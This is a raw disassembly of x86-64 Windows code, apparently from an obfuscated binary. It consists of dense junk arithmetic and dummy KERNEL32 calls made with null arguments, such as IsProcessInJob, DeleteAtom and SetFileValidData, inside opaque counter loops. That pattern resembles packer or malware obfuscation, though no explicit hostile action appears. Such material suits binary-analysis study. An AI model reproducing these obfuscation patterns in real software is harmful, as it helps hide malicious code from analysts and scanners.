mov rax, qword [rsp + 0xb288]
movzx r8d, word [rax]
movzx edx, byte [rsp + 0x379]
mov ecx, dword [rsp + 0x57ac]
call fcn.14015c0f0
movzx eax, word [rsp + 0x1b90]
mov word [0x1401e34d8], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x377]
add eax, ecx
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x1bcc]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x57b8], eax
mov eax, dword [rsp + 0x4bd4]
movzx ecx, al
mov eax, dword [rsp + 0x5754]
shr eax, cl
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [0x1401e34f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
sub eax, ecx
mov word [rsp + 0x1b84], ax
movsx eax, word [rsp + 0x1bc8]
movsx ecx, word [rsp + 0x1b9c]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov eax, dword [rsp + 0x5790]
sub eax, 6
mov dword [rsp + 0x5790], eax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [0x1401a8039]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0x9bb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [0x1401e34f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x5808]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x571c], eax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x57ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, byte [rsp + 0x33b]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2fe], al
movzx ecx, word [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bbc], ax
lea rcx, [rsp + 0xb3b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
sar eax, cl
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0x8ff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x57ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xa878]
mov rcx, qword [rsp + 0xb310]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
add eax, ecx
mov byte [rsp + 0xe7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
xor eax, ecx
mov word [rsp + 0x1ba8], ax
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b88], ax
movsx eax, word [rsp + 0x1bb4]
movsx ecx, word [rsp + 0x1b94]
shl eax, cl
mov word [rsp + 0x1bc8], ax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
mov qword [rsp + 0xb3b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x33b]
and eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [0x1401a803a], al
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1bc0]
add eax, ecx
mov word [rsp + 0x1ba8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bc8]
add eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb210]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb310], rax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x5808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
cmp dword [rsp + 0x5790], 0xb9ec
ja 0x140015d06
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d90], rax
mov eax, dword [rsp + 0x56fc]
imul eax, dword [0x1401a838c]
mov dword [rsp + 0x5754], eax
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b84], ax
mov edx, 0x7fff47
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x577c], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
xor eax, ecx
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sar eax, cl
mov byte [rsp + 0x379], al
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
shl eax, cl
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xb298]
mov rcx, qword [0x1401e3500]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov eax, dword [rsp + 0x57f8]
add eax, 0xdd
mov dword [rsp + 0x57f8], eax
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov eax, dword [0x1401a838c]
mov ecx, dword [rsp + 0x57ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [0x1401a8370]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a78], eax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x2fe]
add eax, ecx
mov rcx, qword [rsp + 0xb388]
mov byte [rcx], al
cmp dword [rsp + 0x57f8], 0x5624
jbe 0x140016274
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8390], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb1f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb210], rax
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0xb3b0]
mov rdx, qword [rsp + 0xb3b0]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5788], eax
lea rcx, [rsp + 0xb3c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x57d0]
add eax, 0x88
mov dword [rsp + 0x57d0], eax
mov eax, dword [rsp + 0x57ac]
movzx ecx, al
mov eax, dword [rsp + 0x4bd4]
shl eax, cl
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
mov qword [rsp + 0xb3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
xor eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1bc0]
or eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x377]
and eax, ecx
mov byte [0x1401a803a], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b9c]
sub eax, ecx
mov word [rsp + 0x1b80], ax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5740], eax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0x8ff0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x571c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb350]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0x8d90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1bc0]
add eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb310]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb388]
mov byte [rcx], al
cmp dword [rsp + 0x57d0], 0x7f6d
jbe 0x1400163e4
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0x8bd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov dword [rsp + 0x5818], eax
cmp dword [rsp + 0x5734], 0x9e7c
jae 0x1400169fd
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov byte [rsp + 0x379], al
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x378], al
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [rsp + 0x5734]
add eax, 0x29
mov dword [rsp + 0x5734], eax
lea rdx, [rsp + 0xb3b0]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x57f0], eax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x4a78]
movzx ecx, al
mov eax, dword [rsp + 0x5758]
shl eax, cl
mov dword [rsp + 0x5798], eax
movsx eax, word [rsp + 0x1b94]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803a]
or eax, ecx
mov byte [rsp + 0x378], al
lea rcx, [rsp + 0xb3d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
xor eax, ecx
mov word [0x1401a8378], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb210]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x5758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb350]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d90], rax
jmp 0x140016759
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4bd4]
mov edx, dword [rsp + 0x57ac]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14015b50d
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb258]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb270], rax
movzx eax, byte [rsp + 0x2fe]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b90], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6ab0
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x573c], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
and eax, ecx
mov word [rsp + 0x1bb4], ax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov byte [rsp + 0x379], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb270], rax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x57b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov eax, dword [rsp + 0x5754]
movzx ecx, al
mov eax, dword [0x1401a838c]
shr eax, cl
mov dword [rsp + 0x57ac], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0x8d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e34d8], ax
movsx eax, word [rsp + 0x1bcc]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb368]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb210]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x377], al
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x57dc], eax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x465c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5818], eax
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x581c], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bc8]
shl eax, cl
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [0x1401e3500]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bc8]
or eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x188c], ax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x57ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov eax, dword [rsp + 0x578c]
add eax, 0x2e
mov dword [rsp + 0x578c], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x8d90]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [0x1401a8370]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
cmp dword [rsp + 0x578c], 0x37f0
jb 0x140016a29
lea rax, [rsp + 0x2fe]
mov qword [rsp + 0xb3e8], rax
lea rax, [rsp + 0x232]
mov qword [0x1401e34d0], rax
lea rcx, [rsp + 0xb3c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1b90]
sub eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [0x1401e34e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x4a78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
xor eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, word [0x1401e34d8]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401a8390], ax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8039]
sar eax, cl
mov byte [rsp + 0x379], al
movzx eax, byte [rsp + 0x377]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x378], al
mov eax, dword [rsp + 0x57d8]
add eax, 2
mov dword [rsp + 0x57d8], eax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xa878]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb270], rax
movzx eax, byte [rsp + 0x2fe]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x377], al
movzx ecx, word [rsp + 0x1ba4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57b8], eax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x57ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
cmp dword [rsp + 0x57d8], 0x9331
jb 0x140016e12
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1bd0], ax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8394], ax
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd4], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov byte [rsp + 0x5820], al
cmp byte [rsp + 0x5820], 0x98
je 0x140017068
jmp 0x140017128
call fcn.14015c090
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
and eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x115], al
mov r8d, 0x10
mov rdx, qword [rsp + 0xb3f0]
mov rcx, qword [rsp + 0xb3f0]
call fcn.14016a160
test eax, eax
jne 0x1400170ee
mov dword [rsp + 0x5824], 1
jmp 0x1400170f9
mov dword [rsp + 0x5824], 0
mov eax, dword [rsp + 0x5824]
mov dword [rsp + 0x57a4], eax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [0x1401a8378], ax
jmp 0x14015b424
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1bcc]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0x8ff0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb320], rax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [0x1401a838c]
and ecx, eax
